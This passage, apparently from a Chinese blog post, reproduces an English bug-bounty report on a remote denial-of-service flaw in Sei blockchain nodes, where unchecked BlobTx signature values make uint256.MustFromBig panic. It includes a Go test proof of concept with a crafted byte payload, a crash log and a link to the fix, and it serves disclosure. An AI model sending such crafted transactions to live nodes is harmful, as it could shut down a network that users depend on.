),被撞洞了。说价值75K刀是因为@usmannk的那个issue 1漏洞效果跟这个类似,sei给的奖励是75K。从熟悉Sei的代码到发现这个漏洞花了3,4天时间,这个漏洞影响就是可以远程DoS Sei 节点。以下就是当时提交的漏洞报告,我懒得翻译了,望见谅.GetRawSignatureValues when decode the ethtypes.BlobTx msg data ,for the bad decode the signature vaule and no check the input data which can lead to the call to MustFromBig paniced.we know AsEthereumData() is used for decoding the Evm BlobTx data,the code is below,First the function get v,r,s by call tx.GetRawSignatureValues()and there is no check the value v,r,s and directly call uint256.MustFromBig, with the v ,r,s as input.func (tx *BlobTx) AsEthereumData() ethtypes.TxData {v, r, s := tx.GetRawSignatureValues()return ðtypes.BlobTx{ChainID: uint256.MustFromBig(tx.GetChainID()),Nonce: tx.GetNonce(),GasTipCap: uint256.MustFromBig(tx.GetGasTipCap()),GasFeeCap: uint256.MustFromBig(tx.GetGasFeeCap()),Gas: tx.GetGas(),To: *tx.GetTo(),Value: uint256.MustFromBig(tx.GetValue()),Data: tx.GetData(),AccessList: tx.GetAccessList(),BlobFeeCap: uint256.MustFromBig(tx.GetBlobFeeCap()),BlobHashes: tx.GetBlobHashes(),Sidecar: sidecarToEthSidecar(tx.Sidecar),V: uint256.MustFromBig(v),R: uint256.MustFromBig(r),S: uint256.MustFromBig(s),}}
omitempty, other value can be emptytype BlobTx struct {ChainID *github_com_cosmos_cosmos_sdk_types.Int `protobuf:"bytes,1,opt,name=chain_id,json=chainId,proto3,customtype=github.com/cosmos/cosmos-sdk/types.Int" json:"chainID"`Nonce uint64 `protobuf:"varint,2,opt,name=nonce,proto3" json:"nonce,omitempty"`GasTipCap *github_com_cosmos_cosmos_sdk_types.Int `protobuf:"bytes,3,opt,name=gas_tip_cap,json=gasTipCap,proto3,customtype=github.com/cosmos/cosmos-sdk/types.Int" json:"gas_tip_cap,omitempty"`GasFeeCap *github_com_cosmos_cosmos_sdk_types.Int `protobuf:"bytes,4,opt,name=gas_fee_cap,json=gasFeeCap,proto3,customtype=github.com/cosmos/cosmos-sdk/types.Int" json:"gas_fee_cap,omitempty"`GasLimit uint64 `protobuf:"varint,5,opt,name=gas_limit,json=gasLimit,proto3" json:"gas_limit,omitempty"`To string `protobuf:"bytes,6,opt,name=to,proto3" json:"to,omitempty"`Amount *github_com_cosmos_cosmos_sdk_types.Int `protobuf:"bytes,7,opt,name=value,proto3,customtype=github.com/cosmos/cosmos-sdk/types.Int" json:"value,omitempty"`Data []byte `protobuf:"bytes,8,opt,name=data,proto3" json:"data,omitempty"`Accesses AccessList `protobuf:"bytes,9,rep,name=accesses,proto3,castrepeated=AccessList" json:"accessList"`BlobFeeCap *github_com_cosmos_cosmos_sdk_types.Int `protobuf:"bytes,10,opt,name=blob_fee_cap,json=blobFeeCap,proto3,customtype=github.com/cosmos/cosmos-sdk/types.Int" json:"blob_fee_cap,omitempty"`BlobHashes [][]byte `protobuf:"bytes,11,rep,name=blob_hashes,json=blobHashes,proto3" json:"blob_hashes,omitempty"`Sidecar *BlobTxSidecar `protobuf:"bytes,12,opt,name=sidecar,proto3" json:"sidecar,omitempty"`// signature valuesV []byte `protobuf:"bytes,13,opt,name=v,proto3" json:"v,omitempty"`R []byte `protobuf:"bytes,14,opt,name=r,proto3" json:"r,omitempty"`S []byte `protobuf:"bytes,15,opt,name=s,proto3" json:"s,omitempty"`}
uint256.MustFromBig(s), in the function AsEthereumData will lead to paniced for overflow MustFromBig code:// MustFromBig is a convenience-constructor from big.Int.// Returns a new Int and panics if overflow occurred.// OBS: If b is `nil`, this method does _not_ panic, but// instead returns `nil`func MustFromBig(b *big.Int) *Int {if b == nil {return nil}z := &Int{}if z.SetFromBig(b) {panic("overflow")}return z}
ProcessBlock function will get the emsg(evm msg) from the Tx data. part of code:// run the prioritized txsprioritizedResults, ctx := app.ExecuteTxsConcurrently(ctx, prioritizedTxs, prioritizedTypedTxs, prioritizedIndices)for relativePrioritizedIndex, originalIndex := range prioritizedIndices {txResults[originalIndex] = prioritizedResults[relativePrioritizedIndex]if emsg := evmtypes.GetEVMTransactionMessage(prioritizedTypedTxs[relativePrioritizedIndex]); emsg != nil && !emsg.IsAssociateTx() {evmTxs[originalIndex] = emsg} else {evmTxs[originalIndex] = nil}}// Finalize all Bank Module Transfers here so that events are included for prioritiezd txsdeferredWriteEvents := app.BankKeeper.WriteDeferredBalances(ctx)events = append(events, deferredWriteEvents...)midBlockEvents := app.MidBlock(ctx, req.GetHeight())events = append(events, midBlockEvents...)otherResults, ctx := app.ExecuteTxsConcurrently(ctx, otherTxs, otherTypedTxs, otherIndices)for relativeOtherIndex, originalIndex := range otherIndices {txResults[originalIndex] = otherResults[relativeOtherIndex]if emsg := evmtypes.GetEVMTransactionMessage(otherTypedTxs[relativeOtherIndex]); emsg != nil && !emsg.IsAssociateTx() {evmTxs[originalIndex] = emsg} else {evmTxs[originalIndex] = nil}
evmTxs[originalIndex] = emsg, in here will get the msg data,And in the ProcessBlock will call DecodeTransactionsConcurrently to decode the Tx, which the important is preprocess the evm msg, first will unpack the tx data, the code is below(simplied version):func Preprocess(ctx sdk.Context, msgEVMTransaction *evmtypes.MsgEVMTransaction) error {txData, err := evmtypes.UnpackTxData(msgEVMTransaction.Data)if err != nil {return err}...ethTx := ethtypes.NewTx(txData.AsEthereumData())
txData will be ok, no err return, the function UnpackTxData can bypass the check(like the PoC code.) and return no err.and then when call AsEthereumData() like the description before, because the bad value of the signature value S, and no verify the input of the function MustFromBig and when convert the big.int to int will lead to panic, and then will lead to the Sei Node Shutdown.Unmarshal and Marshal . so this is a valid EVMTransaction msg ,which this means if attacker use this maclious EVMTransaction msg and send to the Sei netowrk when the sei node decode the msg will lead to Sei Node Shutdown.func TestUnpackTxData(t *testing.T) {btx := ethtx.BlobTx{}if proto.Unmarshal([]byte("z0000000000000000000000000000000000000000000000000"), &btx) == nil {msg, err := types.NewMsgEVMTransaction(&btx)if err != nil {return}_, ethTxData := msg.AsTransaction()}}
0, s inuint256.MustFromBig(s) will be []byte("000000000000000000000000000000000000000000000000")BlobTx{ChainID:0S:uint256.MustFromBig([]byte("000000000000000000000000000000000000000000000000"))}
and the when call MustFromBig will lead to panic.
Crash log:
--- FAIL: TestUnpackTxData (0.00s)panic: overflow [recovered]panic: overflowgoroutine 277 [running]:testing.tRunner.func1.2({0x1f2e6c0, 0x31c41b0})/home/.gvm/gos/go1.21.10/src/testing/testing.go:1545 +0x238testing.tRunner.func1()/home/.gvm/gos/go1.21.10/src/testing/testing.go:1548 +0x397panic({0x1f2e6c0?, 0x31c41b0?})/home/.gvm/gos/go1.21.10/src/runtime/panic.go:914 +0x21fgithub.com/holiman/uint256.MustFromBig(...)/home/.gvm/pkgsets/go1.21.10/global/pkg/mod/github.com/holiman/uint256@v1.2.4/conversion.go:88github.com/sei-protocol/sei-chain/x/evm/types/ethtx.(*BlobTx).AsEthereumData(0xc00023e2a0)/home/dev/sei-chain/x/evm/types/ethtx/blob_tx.go:169 +0x1505github.com/sei-protocol/sei-chain/x/evm/types.(*MsgEVMTransaction).AsTransaction(0x31d57e0?)/home/dev/sei-chain/x/evm/types/message_evm_transaction.go:53 +0x3agithub.com/sei-protocol/sei-chain/x/evm/types_test.TestUnpackTxData(0x1?)/home/dev/sei-chain/x/evm/types/message_evm_transaction_test.go:124 +0xbbtesting.tRunner(0xc00061a680, 0x2eeaa70)/home/.gvm/gos/go1.21.10/src/testing/testing.go:1595 +0xffcreated by testing.(*T).Run in goroutine 1/home/.gvm/gos/go1.21.10/src/testing/testing.go:1648 +0x3adFAIL github.com/sei-protocol/sei-chain/x/evm/types 0.856sFAI
https://github.com/sei-protocol/sei-chain/pull/1762